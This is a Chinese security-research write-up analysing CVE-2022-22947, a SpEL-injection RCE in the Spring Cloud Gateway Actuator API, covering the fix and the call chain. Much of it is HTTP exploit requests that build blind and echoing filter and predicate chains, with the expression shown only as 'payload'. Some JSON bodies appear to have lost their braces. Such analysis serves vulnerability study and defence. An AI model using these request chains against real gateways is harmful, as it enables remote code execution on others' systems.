基于Spring5.0+SpringBoot2.0+WebFlux(Reactor模式响应式通信)
远程代码执行漏洞(CVE-2022-22947)发生在 Actuator API。
2.1 前置知识
--------
![2.1.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-51407b054fbbe69f8c97531cb449e1690642c8a0.png)
2.2 漏洞原理
--------
spring-cloud-gateway 在初次启动或者是刷新路由时,会重新把路由信息解析存储到缓存中。在解析路由 args 参数时,会用 Spel 解析器去解析 args 参数值。
通过 Actuator API 中存储自定义路由信息接口,在 args 参数中存入恶意 spel 表达式,再次调用 Actuator中的刷新路由接口,使 spring-cloud-gateway 解析执行从而造成RCE。
三、漏洞修复
======
2月9号提交修改
`ShortcutConfigurable`更新使用自定义的`EvaluationContext`
即:`StandardEvaluationContext`替换成了 `SimpleEvaluationContext`限制了 Spel 表达式解析。
![3.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-5166c5d97c574355ee72884637e926de9ee91614.png)
四、分析调用链
=======
定位到修复的类`ShortcutConfigurable`,修改的地方在`getValue`方法体内部。
我们选中该方法, Idea 快捷键`Ctrl + Alt + H`来查看调用的层次。经过哪些类的方法流转。
![4.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-b475a203a2e2bc4a8712787507c2edc49936ad5a.png)
调链在 RouteDefinitionRouteLocator 类分离出两条链。
- 一条是走 loadGatewayFilters 方法,是处理 GatewayFilter
- 一条是走 lookup 方法,是处理 RoutePredicate
**这也就为新的链提供了思路,猜测不光会有 filters 的利用链,也应该有 predicates 利用链。**
五、构造利用链
=======
5.1 无回显利用链
----------
### 5.1.1 filters 利用链的思考
这条链也是大多使用的链。之前看到文章说只有 `AddResponseHeader`过滤器能用,但是现在看到`Retry`过滤器也能用,让我多了一些想法。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335
"id": "first_route",
"predicates": [],
"filters": [{
"name": "Retry",
"args":
"name": "payload",
"value": "123"
"uri": "https://www.uri-destination.org",
"order": 0
通过路由匹配 args 参数来执行 RCE。将 args 参数中的 `payload`替换成 spel 表达式。
刷新路由,触发RCE。
![5.1.1.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-39f42b2adf811482af88b074c49a8ffbcfc4c18a.png)
**不得不产生疑问了,真的是只有**`AddResponseHeader`**和**`Retry`**过滤器才能用?不能有其他的过滤器?**
#### 1. 研究限制点:
spring-cloud-gateway 在保存路由定义信息时,会进行校验,校验 filters 的 name 参数,是否与内置的工厂名字相同。也就是在前置知识中路由信息类提到的各种工厂名称。
```java
// 校验路由匹配信息 name
private boolean isAvailable(FilterDefinition filterDefinition) {
return GatewayFilters.stream()
.anyMatch(gatewayFilterFactory -> filterDefinition.getName().equals(gatewayFilterFactory.name()));
梳理出了所有**合法过滤器名称**。
```txt
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
#### 2. 新的思路
通过对限制点的思考,只要过滤器名称能绕过限制,理论上所有过滤器都可是行的。
这里随便试一下,更改过滤器`name`参数 为`SetStatus`过滤器。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331
"id": "first_route",
"predicates": [],
"filters": [{
"name": "SetStatus",
"args":
"name": "payload",
"value": "123"
"uri": "https://www.uri-destination.org",
"order": 0
刷新路由,是能触发 RCE。
![5.1.1.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-39f42b2adf811482af88b074c49a8ffbcfc4c18a.png)
#### 3. 小结
无回显链,只要 FIlter 名字合法绕过限制,就能触发RCE。
### 5.1.2 predicates 利用链
在分析调用链的时候,猜测应该还有一条链。马上根据官网提示,创建路由 写个测试下。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"payload"}
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
刷新路由,是能触发 RCE。
![5.1.1.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-39f42b2adf811482af88b074c49a8ffbcfc4c18a.png)
#### 1. 研究限制点:
和 filters 限制类似。spring-cloud-gateway 在保存路由定义信息时,校验 predicates 的 name 参数,是否与内置的工厂名字相同。也就是在前置知识中路由信息类提到的各种工厂名称。
```java
// 校验路由匹配信息 name
private boolean isAvailable(PredicateDefinition predicateDefinition) {
return routePredicates.stream()
.anyMatch(routePredicate -> predicateDefinition.getName().equals(routePredicate.name()));
同样梳理出了所有合法过滤器名称。
```txt
After
Before
Between
Cookie
Header
Method
Query
ReadBody
RemoteAddr
Weight
CloudFoundryRouteService
那上面小结的结论是否同样适用 predicates 呢?
这里随便试一下,更改过滤器`name`参数为`Method`匹配器。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
"id": "first_route",
"predicates": [{
"name": "Method",
"args": {"_genkey_0":"payload"}
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
刷新路由,果然触发 RCE。
![5.1.2.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-1da0bd87a26f825ffa1369764ebcafd5674bcd6d.png)
#### 2. 小结
无回显链 predicates 链确实存在,且只要 Predicates 名字合法绕过限制,就能触发RCE。
5.2 有回显利用链
----------
### 5.2.1 回显原理
用户存储的路由定义信息存在内存中,刷新路由 spel 表达式执行后,会把执行结果写入路由信息里面。
通过查看路由信息 API 接口,就在路由信息展示中查看到 RCE 执行结果。
### 5.2.2 filters 回显链的思考
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335
"id": "first_route",
"predicates": [],
"filters": [{
"name": "AddRequestHeader",
"args":
"name": "Result",
"value": "payload"
"uri": "https://www.uri-destination.org",
"order": 0
**同样的只有**`AddResponseHeader`**过滤器能用?**
#### 1. 变种尝试
根据前面的小结,我们随手试一个合法过滤器 `RedirectTo`
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335
"id": "first_route",
"predicates": [],
"filters": [{
"name": "RedirectTo",
"args":
"name": "Result",
"value": "payload"
"uri": "https://www.uri-destination.org",
"order": 0
发现回显并不成功。
![5.2.2.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-6a8f5da9a6f59a25258cf4559c4d4cf2bfcf9396.png)
并且后台返回了个 `java.lang.NullPointerException: null`异常。
花了两秒钟思考,问题是出在了 arg参数解析上。为了验证我的判断去官网查看`RedirectTo`的参数配置。
> The RedirectTo GatewayFilter factory takes two parameters, status and url.The status parameter should be a 300 series redirect HTTP code, such as 301. The url parameter should be a valid URL. This is the value of the Location header.
可以看到确实只有连个参数 `status`和 `url`,修改我们的请求包。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335
"id": "first_route",
"predicates": [],
"filters": [{
"name": "RedirectTo",
"args":
"status": "302",
"url": "payload"
"uri": "https://www.uri-destination.org",
"order": 0
![5.2.2.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-6a8f5da9a6f59a25258cf4559c4d4cf2bfcf9396.png)
但是也没回显,后台返回了异常。不是上面空指针异常,说明验证了参数的限制。
> java.lang.IllegalArgumentException: Illegal character in path at index 5: xxxx
> at java.net.URI.create
通过看异常信息,说明 spring-cloud-gateway 是对 url 格式进行解析了。
也就是说相应的参数都有类型限制,比如 status 必须是 HTTP 状态码(枚举类型)。
我们需要另求突破点,找一个参数是 String 类型。
#### 2. 挖掘思路
从官网上找 Filter 必须给出了具体参数,且类型是字符串类型的参数 。
按照这个思路随手找了个合法 `RemoveRequestHeader`过滤器,发现只有一个 `name`参数。
> The RemoveResponseHeader GatewayFilter factory takes a **name** parameter. It is the name of the header to be removed.
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 335
"id": "first_route",
"predicates": [],
"filters": [{
"name": "RemoveRequestHeader",
"args":
"name": "payload"
"uri": "https://www.uri-destination.org",
"order": 0
![5.2.2-2.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-222de0aafd799346b0f0575b06c3d3b9f604189b.png)
顺利执行成功。满足条件的过滤器还有很多,这里就不多测试了。
#### 3. 小结
回显链不光对`args`参数名称有限制,并且对参数对应的类型也有限制。
### 5.2.3 predicates 回显链
有了前面的经验,那这个匹配回显链就不在话下,花了3分钟调试出结果。
#### 1. 挖掘思路
从官网上找 predicates 必须给出了具体参数,且类型是字符串类型的参数 。
按照这个思路随手找了个合法 `Cookie`匹配器,有`name`和`regexp`参数。
```http
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 380
"id": "first_route",
"predicates": [{
"name": "Cookie",
"args": {
"name": "payload",
"regexp": "ch.p"
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
![5.2.3.png](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-f613f6f13ae9ba43ee7666b4f5e682f0d2f16987.png)
可以看到顺利执行成功命令。同样满足条件的匹配器还有很多,这里就不多测试了。
#### 2. 小结
predicates回显链确实存在,不光对`args`参数名称有限制,并且对参数对应的类型也有限制。同时还有对参数完整行也有限制。
如果不信邪,读者可以自己尝试将上面`Cookie`匹配器的 `regexp`参数去掉试试哈哈。
站在巨人的肩膀上,多了很多启发,延展开了一些思考。在利用链调试过程中官网的操作手册也不失为一个很好的参考工具。
- [https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u\_3Uw](https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw)
-